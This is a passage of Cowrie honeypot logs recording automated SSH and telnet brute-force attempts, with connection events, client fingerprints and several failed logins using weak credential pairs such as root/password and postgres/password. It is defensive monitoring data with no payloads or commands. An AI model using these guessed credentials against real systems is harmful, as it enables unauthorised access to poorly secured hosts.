-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:28.569150Z","src_ip":"176.65.132.129","session":"a571f59be1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:28.816063Z","src_ip":"176.65.132.129","session":"a571f59be1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678z","message":"login attempt [root/12345678z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:29.077741Z","src_ip":"103.172.78.219","session":"a4485c3ede5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:29.901051Z","src_ip":"176.65.132.129","session":"a571f59be1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:30.336998Z","src_ip":"103.172.78.219","session":"a4485c3ede5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38296,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1fb43c337e9","protocol":"ssh","message":"New connection: 176.65.132.129:38296 (159.203.135.109:22) [session: b1fb43c337e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:31.696262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:31.701295Z","src_ip":"176.65.132.129","session":"b1fb43c337e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:31.780547Z","src_ip":"176.65.132.129","session":"b1fb43c337e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:32.264177Z","src_ip":"176.65.132.129","session":"b1fb43c337e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00216126441956,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:33.136011Z","src_ip":"152.42.224.71","session":"a25ea83b02d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:33.348401Z","src_ip":"176.65.132.129","session":"b1fb43c337e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.17920446395874,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:33.885328Z","src_ip":"152.42.224.71","session":"1ed82c7558e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.67712426185608,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:34.969165Z","src_ip":"152.42.224.71","session":"030e96420e39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38304,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a5854873e27","protocol":"ssh","message":"New connection: 176.65.132.129:38304 (159.203.135.109:22) [session: 8a5854873e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:34.996075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:35.000776Z","src_ip":"176.65.132.129","session":"8a5854873e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:35.083194Z","src_ip":"176.65.132.129","session":"8a5854873e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:35.329594Z","src_ip":"176.65.132.129","session":"8a5854873e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:36.415861Z","src_ip":"176.65.132.129","session":"8a5854873e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55552,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfe134668335","protocol":"ssh","message":"New connection: 176.65.132.129:55552 (159.203.135.109:22) [session: bfe134668335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:38.187269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:38.192647Z","src_ip":"176.65.132.129","session":"bfe134668335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:38.275249Z","src_ip":"176.65.132.129","session":"bfe134668335","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:38.524028Z","src_ip":"176.65.132.129","session":"bfe134668335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67597556114197,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:38.709686Z","src_ip":"152.42.224.71","session":"0c76e7d94185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:39.612629Z","src_ip":"176.65.132.129","session":"bfe134668335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00268197059631,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:40.837519Z","src_ip":"152.42.224.71","session":"c4c5a5bb633a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55564,"dst_ip":"159.203.135.109","dst_port":22,"session":"73c657237ea8","protocol":"ssh","message":"New connection: 176.65.132.129:55564 (159.203.135.109:22) [session: 73c657237ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:41.432832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:41.437803Z","src_ip":"176.65.132.129","session":"73c657237ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:41.521466Z","src_ip":"176.65.132.129","session":"73c657237ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexis","message":"login attempt [alexis/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:41.767674Z","src_ip":"176.65.132.129","session":"73c657237ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:42.854005Z","src_ip":"176.65.132.129","session":"73c657237ea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47754,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b88c2a5fc7","protocol":"telnet","message":"New connection: 152.42.224.71:47754 (10.17.0.5:23) [session: c0b88c2a5fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:43.953915Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55578,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d60f0f3b354","protocol":"ssh","message":"New connection: 176.65.132.129:55578 (159.203.135.109:22) [session: 4d60f0f3b354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:44.779463Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47762,"dst_ip":"10.17.0.5","dst_port":23,"session":"63da90cebebf","protocol":"telnet","message":"New connection: 152.42.224.71:47762 (10.17.0.5:23) [session: 63da90cebebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:44.834608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:44.842992Z","src_ip":"176.65.132.129","session":"4d60f0f3b354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:44.872925Z","src_ip":"176.65.132.129","session":"4d60f0f3b354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:45.191246Z","src_ip":"176.65.132.129","session":"4d60f0f3b354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:46.278097Z","src_ip":"176.65.132.129","session":"4d60f0f3b354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37250,"dst_ip":"159.203.135.109","dst_port":22,"session":"feb5587e4cc4","protocol":"ssh","message":"New connection: 176.65.132.129:37250 (159.203.135.109:22) [session: feb5587e4cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:48.122287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:48.127497Z","src_ip":"176.65.132.129","session":"feb5587e4cc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:48.210283Z","src_ip":"176.65.132.129","session":"feb5587e4cc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:48.456503Z","src_ip":"176.65.132.129","session":"feb5587e4cc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:49.542530Z","src_ip":"176.65.132.129","session":"feb5587e4cc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37274,"dst_ip":"159.203.135.109","dst_port":22,"session":"87214a134d7c","protocol":"ssh","message":"New connection: 176.65.132.129:37274 (159.203.135.109:22) [session: 87214a134d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:51.297194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:51.301342Z","src_ip":"176.65.132.129","session":"87214a134d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:51.383480Z","src_ip":"176.65.132.129","session":"87214a134d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:51.629120Z","src_ip":"176.65.132.129","session":"87214a134d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:52.715075Z","src_ip":"176.65.132.129","session":"87214a134d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38614,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0675ad35a5a","protocol":"telnet","message":"New connection: 152.42.224.71:38614 (10.17.0.5:23) [session: b0675ad35a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:53.788503Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37290,"dst_ip":"159.203.135.109","dst_port":22,"session":"29a7fffe9b13","protocol":"ssh","message":"New connection: 176.65.132.129:37290 (159.203.135.109:22) [session: 29a7fffe9b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:54.504020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:58:54.509487Z","src_ip":"176.65.132.129","session":"29a7fffe9b13","protocol":"ssh"}
